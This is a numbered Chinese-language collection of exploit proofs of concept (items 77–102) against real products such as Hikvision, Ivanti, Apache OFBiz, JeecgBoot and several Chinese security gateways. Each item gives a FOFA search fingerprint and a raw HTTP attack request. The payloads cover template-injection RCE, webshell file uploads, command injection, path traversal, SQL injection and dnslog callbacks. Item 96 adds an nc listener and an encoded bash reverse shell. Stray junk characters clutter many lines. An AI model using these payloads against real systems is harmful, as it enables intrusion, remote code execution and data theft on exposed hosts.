Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  w: J) l7 d+ S# |Accept-Encoding: gzip, deflate
. e0 d* a- L, W9 g; LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
, h2 v/ k3 X! Q9 F* x
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
: h, x( G( ]" h( }( C- ]}


, Q8 Q; p7 ]6 X  z+ T! nGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
4 y0 [4 ~5 O) y, ?Host: x.x.x.x


4 H2 n9 W0 `% P" d. Z
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; s' G/ t  N; Z0 w3 eConnection: close
Content-Length: 433
Accept: */*
( b( p* ^1 u6 P- f6 z0 nAccept-Encoding: gzip, deflate
6 r1 L3 S' g3 F+ g" t2 @# K; XAccept-Language: zh-CN,zh;q=0.9
' S$ h: @" Q5 J- S9 W0 C# J7 d0 `Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
  o0 t" h8 W: u) m% L
# P2 \8 y% i  y------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

9 ~) ?7 d: ^1 B; s% Y8 r3 r: Q/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
5 w/ p, H8 J$ v& VContent-Type: application/octet-stream
+ W/ q5 P  @; T9 F! |
; ?# Y1 V% J- I  J& x! jhello1234567
; v2 T% G- P, B8 X3 {/ T------------398jnjVTTlDVXHlE7yYnfwBoix
* @& i( V5 c& J7 \Content-Disposition: form-data; name="Upload"
5 W0 C. n" Q$ V1 A+ l/ C: {( N, C. J
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
+ s. y. U% W, ]7 a) ]' Q6 X

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
- ]( c. h) }2 z9 p# m2 pFOFA：icon_hash="2001627082"
6 a5 s! m1 m3 W0 hPOST /Platform/System/FileUpload.ashx HTTP/1.1
# N: O7 M0 D+ ]" M/ ZHost: x.x.x.x
- Z# g9 S! `& _$ B5 ~; g, uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 j+ C& u1 k; F4 @Connection: close
Content-Length: 336
Accept-Encoding: gzip
) X" Z/ x3 O8 |7 O; g( {Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
# |) U8 E/ N  Y/ |/ j8 X2 H( f' nContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
( l7 |: t2 r2 L  V" [; P5 {Content-Type: image/png

3 S" i2 j% n3 I1 [& N3 B8 @YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
0 I& j1 F; ]( H( F------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
% `8 S$ B: P0 Q6 A: _& {# ~* d
$ l7 P+ w& {" y/ v
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
6 J$ t! Z) F0 I: m7 H$ B2 o6 t- {GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
/ c1 b+ Y0 u, K8 }6 v0 v& vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) G% \/ F$ m, `% d* O& tAccept-Encoding: gzip, deflate
7 y: p( a0 f+ _2 H/ Y$ PConnection: close
Upgrade-Insecure-Requests: 1
- y$ w2 j6 L" ]' A
# h* ]6 c% @5 _# P
: ~5 K2 ?/ H1 }5 F6 F" C4 |80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
6 a6 s+ \( Y+ O# s) i0 XFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 H! z8 `: i5 z" m5 LConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
" ~4 L- Z& y2 x0 V9 b
<% out.print("oessqeonylzaf");%>
' [) ?' \9 R: ]3 k9 D" _

7 L* o& @* w9 h$ ]6 K% _GET /xykqmfxpoas.jsp HTTP/1.1
% ^6 V7 W3 e: m6 Y. EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


& t  _* b9 e3 r* P- G81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
. O: m5 O; \8 N4 L5 o4 x  I" M+ vFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
5 a' T* }# P, R& v  R' d: h# cHost: x.x.x.x
3 D# A6 r* `. G6 E' g' N; K# J5 ^' r; }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ N8 I- a/ V8 U2 P1 J9 O! U! MAccept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 q2 _4 n% ]5 b: o9 ~FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
$ c3 W! n0 {4 v1 |Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
1 j! B" m0 E+ ^Connection: close
+ o" e* Z. ], y  f0 k. }( ]Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

; }0 G2 Z0 V( |/ Q7 d; R2 ?2 oz1=1&z2="|id;"&z3=bhost


7 E8 i2 x8 E# i2 f83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! d) C; `. d+ ]* E7 PContent-Length: 8881
Accept-Encoding: gzip
( e: X+ n% e; E5 w6 I1 aCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
6 [. F+ y# f# ]* HContent-Type: application/json

PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 j6 A( }5 I( d4 D- S1 A+ oFOFA：title=="JeecgBoot 企业级低代码平台"
) O3 V( H! `7 i' }+ S) ^7 Q


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
( ]7 i5 I) B! t3 a0 u- m( eHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
+ L! L: ]5 O. K5 d- a+ e9 T  DContent-Length: 156
5 f  G0 Y' J& DAccept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

1 X) q8 W, M2 @{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


( m2 Q) v$ H6 f; E85. SysAid On-premise< 23.3.36远程代码执行
7 g1 v) ?; U: k7 t9 ]. @: B/ SCVE-2023-47246
3 T4 |2 x, W: b( J7 U1 t* n  UFOFA：body="sysaid-logo-dark-green.png"
7 l. r0 n" U$ ~1 v( YEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
6 d8 S8 K7 I9 L8 }; LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
5 ]# [5 ^1 T" _; P6 ~Accept-Encoding: gzip

. m2 o; _6 }  [& [$ J, iPAYLOAD
6 B8 l$ h- d; S2 r2 ^
回显URL：http://x.x.x.x/userfiles/index.jsp
" e1 Y5 o1 s  J# \* L) C$ Q
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
) ~6 N5 t! C" c7 \+ mPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
6 y; D. |% X0 L' V3 r6 P% {Accept: */*
Accept-Encoding: gzip
Accept-Language: en
+ Y$ N( l$ C/ S' }0 M4 OContent-Type: application/x-www-form-urlencoded
. b  q* T! c7 I
* J" _( p3 G+ g; Khost=%0acat${IFS}/etc/passwd%0a&command=ping

2 S7 r0 c3 s% I* y, U1 R7 q
4 D( M9 X2 R+ u+ X% y87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
9 T2 C2 K* Q( i1 ~( {. A! w$ D0 f: SAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
0 T1 l4 {! l$ L; S; Y5 Z  eContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
2 P3 _. t/ Z) q4 XContent-Type: text/plain
6 g# j6 Z: ]: B+ Z) z4 T
$ g' D. x. ?& n. {: K6 J2ZqGNnsjzzU2GBBPyd8AIA7QlDq
9 Z7 D' X1 `! z1 v" h9 q--qqobiandqgawlxodfiisporjwravxtvd--
: x6 |  n& z) g- w) F6 O
0 e9 ?' T5 L. l8 O0 Z/ i2 L! s
/jfhatuwe.php
. F. y- {; m" J' O! r( n
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
+ R/ i& A7 b) |9 Y& DFOFA：title="明御安全网关"
) t# e$ C6 z1 s5 ~9 P) J& Q" Z1 ^GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
- x  v# M" c1 o. _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
( N) D) ^( t  E, d# j
% {6 i& z# c- H
6 _- C( {% k# Z# e) ~/astdfkhl.php
$ e, \$ ^+ K$ ?* C+ N) I
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
2 J5 r; C6 n/ y% G- \5 I$ rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% r. r4 C  E# b, j) }5 Y0 t$ AConnection: close
! n/ c/ n! u1 ?/ f8 DContent-Length: 41
Content-Type: application/x-www-form-urlencoded
+ y! N6 K' E$ ]4 {Accept-Encoding: gzip

% H% E! w1 d3 v5 c3 Noption=2&GUID=-1'+union+select+111*222--+
$ R/ a- d2 x8 u* g0 u9 M0 r; k

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
4 l5 `9 W# ^: ?  ]  hFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
# ^- q# l2 n, QHost: x.x.x.x
0 G4 q* z, r* M6 y& ]  jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
) ^+ U2 c3 I8 a) r" EAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% S' _9 }8 ^$ s0 H: cContent-Type: application/x-www-form-urlencoded
" j2 l8 X% U9 v5 g- J' m& uX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

* d- o6 M) \$ M5 i
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
0 T! i3 C6 Y8 f/ h5 Y( MGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 _& [- d2 B: L! w' M8 M% q$ N' ^% EAccept-Encoding: gzip, deflate
5 F0 \6 x0 q% U' M6 d- u0 Y+ yAccept: */*
  W) U! K9 r; g( M, f% v% [Connection: keep-alive
! J3 @: ~7 {9 b# Z) S

0 x: d8 [/ s: C: x" {1 _; g% V- k
# }" L* n: {5 i92. 海康威视运行管理中心session命令执行
& g( \8 k' Z/ j9 |0 j. `; j" Z/ ~* h9 _Fastjson命令执行
9 G3 w9 N7 `/ [6 Qhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
' \) d8 h5 I5 O9 hHost:
Accept: application/json, text/plain, */*
) l$ z! c6 ~' X6 I5 w6 NAccept-Encoding: gzip, deflate
" J9 X! i% n$ j* W4 t$ vX-Requested-With: XMLHttpRequest
( h2 P1 h' U6 ^- {5 _& |- g9 AContent-Type: application/json;charset=UTF-8
+ ^$ b6 y0 _, o9 kX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 g4 X$ U* G& @7 \& g; xAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
# _' r4 m" l, H1 Q, U4 y3 p
PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
4 Z6 X5 p, L9 s8 n7 Y; QFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ j4 q. z$ E8 U; _+ ZPOST /?g=app_av_import_save HTTP/1.1
6 ~; j6 k& \0 Q6 F9 j6 ]Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2 _+ m. U5 J2 R4 M3 f% _
' C7 s6 B5 M' p; W1 [& R10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
6 l5 E/ I' _1 l* O5 }$ V! U1 tContent-Type: text/plain
1 w' B9 ?1 M8 d2 U  h$ ]
# c, z0 u( Z4 W+ ^5 uwagletqrkwrddkthtulxsqrphulnknxa
5 L: {+ K9 A$ W9 D  d$ a3 t------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
2 B* [* J! v) y/ i! @
# X, h8 M7 [$ m6 I* b& ?1 F$ {obj_app_upfile
( ?9 L. R& X& K5 I------WebKitFormBoundarykcbkgdfx
+ i) i+ e4 f. V# J( tContent-Disposition: form-data; name="__hash__"
1 r7 j5 w& `& W% ]/ j' B+ r! s
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

0 ^: r: y  k! p+ g! f
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
/ |7 A2 u' v6 y; XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: @' C- ~  y  M& v4 Z/ }+ _

  _  X& k0 m4 G  L6 s* v94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
1 |+ E& f! i  O) rContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

! j! r2 ?) a! a: P# Y" `------WebKitFormBoundarybqvzqvmt
: s: Y/ P% v; P7 }( w( g2 c5 vContent-Disposition: form-data; name="MAX_FILE_SIZE"
) }# K. u* U) G) p
0 \, W9 m; n8 U! v10000000
------WebKitFormBoundarybqvzqvmt
) Y  E; X: `+ H" ~  s. [Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
$ _1 ]" t! F- b7 l7 ^' n# N
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
& I( o  y  b: `/ N6 KContent-Disposition: form-data; name="submit_post"

obj_app_upfile
) ?9 y! A, e/ `  j0 ~; l------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

. B! |9 u* A1 @+ b0b9d6b1ab7479ab69d9f71b05e0e9445
3 I4 m2 }5 L0 K------WebKitFormBoundarybqvzqvmt--
. j* S% v3 Z" [9 {* K
! e- ]# D! h+ j6 H
" V  k' n. \2 l4 C' s* I0 Z
3 G0 s' P  W' n) Q6 T! ^GET /attachements/xlskxknxa.txt HTTP/1.1
& E4 w/ ]+ h; \+ `$ s! NHost: xx.xx.xx.xx
+ I" [3 U/ p: S" A3 s$ J5 ^/ lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
* m  L1 V6 z6 R" I4 c0 f1 s# }7 M/ EPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
& A& l8 f( _+ ?Host: x.x.x.x
6 T* @/ S# D, GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
9 K# m2 ]7 |  i3 n1 O$ c' }2 oContent-Length: 889
7 _$ w) B  S. q# u5 A  o$ sContent-Type: application/xml
Accept-Encoding: gzip
( u- S% G1 k/ z: q
<?xml version="1.0"?>
4 \' m0 J! z* P. [<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
7 v8 T, T! w. X3 a) x* }  G; h    <params>
" N; H* U* @8 V      <param>
      <value>
! }3 ~( ]1 Q9 k( N" C  x        <struct>
  N# B! m# |# S" e, J  b       <member>
7 q; {/ A/ \9 T' ~+ B2 J          <name>test</name>
          <value>
* h, a+ D1 D1 ?# \) o. B2 S; k% Z      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
" q" V. Z/ }( C% b          </value>
        </member>
      </struct>
      </value>
% }6 c2 N6 v" a0 ^! O    </param>
1 f: X' t5 a1 x- O: K! t8 D* m    </params>
7 k: [6 ]. {) i</methodCall>
- T+ s2 q/ s& t6 C& H

用ysoserial生成payload
7 U7 L. \- G$ J" ]8 ]4 `java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
. {4 z3 i0 O: O3 E

! ?! T' Q( n) N) ^4 C0 w. G/ L将生成的payload替换到上面的POC
. C0 o# ^& h8 s1 I1 g0 m$ \6 ]POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
# P2 U! a  a* v. kHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
5 }& r  H9 m. cContent-Length: 889
4 o, g, o. U3 I' I: }, p4 U8 ~Content-Type: application/xml
Accept-Encoding: gzip
# r$ m- k) E. [/ o
PAYLOAD
0 {9 f; i. i- J7 s) z
96. Apache OFBiz  18.12.11 groovy 远程代码执行
# R" X% B& o6 x' K; T6 {* U0 DFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
% w9 r, i7 }+ o% IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 A% `5 B' R  U. `+ \Accept: */*
1 H' J9 ^, ~5 k5 z1 i* A  CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 G2 b! t- u' k  PContent-Type: application/x-www-form-urlencoded
Content-Length: 55
5 I5 j" g5 G$ E1 [
2 c5 Y( \& K  E1 igroovyProgram=throw+new+Exception('id'.execute().text);

0 c5 _6 v9 _6 f, {( T/ L! k& y7 w  @/ ~
  c1 L% L% T7 N$ n( M* q' o反弹shell
在kali上启动一个监听
nc -lvp 7777

6 a0 e  q$ L* `, S; w8 q0 ]POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- W9 m& h2 \* N/ q* s% {+ A/ H8 D( ?Host: 192.168.40.130:8443
! h3 G2 ^* @  d8 l  @8 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; O1 A5 }" W5 y2 U- V. cAccept: */*
7 i% I" S: ]/ DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 B) h/ O  y& y% s, uContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) Q2 D/ Z$ y3 q4 t, RGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
4 B: z- j# m' n2 x$ m5 d5 I% f' FConnection: close
Cookie: rememberMe=PAYLOAD
  F* z' B# C. qX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
  V2 q, Y: _: P( M" Z8 A9 m+ T( j

6 [! f3 O) g/ k+ D' E6 K98. SpiderFlow爬虫平台远程命令执行
+ w$ `: v- |# F# qCVE-2024-0195
FOFA：app="SpiderFlow"
! m/ K. c7 Y. y! @; a% ?* R- X, fPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
4 K1 q9 y' a# NContent-Length: 121
0 M5 h, h2 l# X: W, E* P. {8 gAccept: */*
# K% E  c$ z. C# ]$ n* QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
+ |+ w. v; a8 z- v9 ^( Z
, @7 {# w; s9 S5 L2 Tid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

2 x+ b% Y/ R& S8 B( W1 `
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
& j+ ]+ G( O' z8 GPOST /classes/common/busiFacade.php HTTP/1.1
) L: N/ Q% C% aHost: 192.168.40.130:8080
& |$ f+ L5 x5 w; C. L7 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* @$ g8 V2 [) @; e! g: |Connection: close
Content-Length: 154
4 ^; t  a& z( v+ X! }Accept: */*
Accept-Encoding: gzip, deflate
' A$ E/ d5 b/ |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 q, }! J2 A# L; P- RContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
9 Y/ ~5 a8 Z2 M, r, b
2 x! @, V1 y2 B4 [# t; ^
" X7 G& V* t+ D; N, @& L, P, M100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
/ I5 _: u- b" f% YFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
# C- x) T* p! B3 {" O6 Z; SHost: 192.168.40.130
7 V: f$ z6 t2 F9 CUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ y" D; I+ ?% |- f9 b% r' {$ [Connection: close
" q& U- J8 c5 o0 k8 d: \Content-Length: 201
* H) b. M/ y- G/ sContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

4 j* S" Y1 M' i- Y5 _, I+ Y------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
2 ]* R4 ?$ }5 _) t" @Content-Type: application/x-php
2 l5 p* \" y5 ~0 G
2ayyhRXiAsKXL8olvF5s4qqyI2O
3 @/ Z4 K6 G. G# `) z4 ]% E8 U8 @------WebKitFormBoundarygcflwtei--

% ~2 b2 z6 d- C2 p, F: p7 R- Q
101. ivanti policy secure-22.6命令注入
( G/ Q4 W) ]$ h1 d0 qCVE-2024-21887
. K6 Q/ x' `2 e7 v+ lFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
3 l' ^/ v" G. D+ y, }6 V& a, c' i4 IHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( ^7 E3 q$ I7 t" y6 u( ?5 o) uConnection: close
Accept-Encoding: gzip

3 ?' D& c2 l( V- K9 c
* _4 R% F, }9 E5 }0 Z; G4 z9 ^102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 O7 \6 U9 X" L/ e. kCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
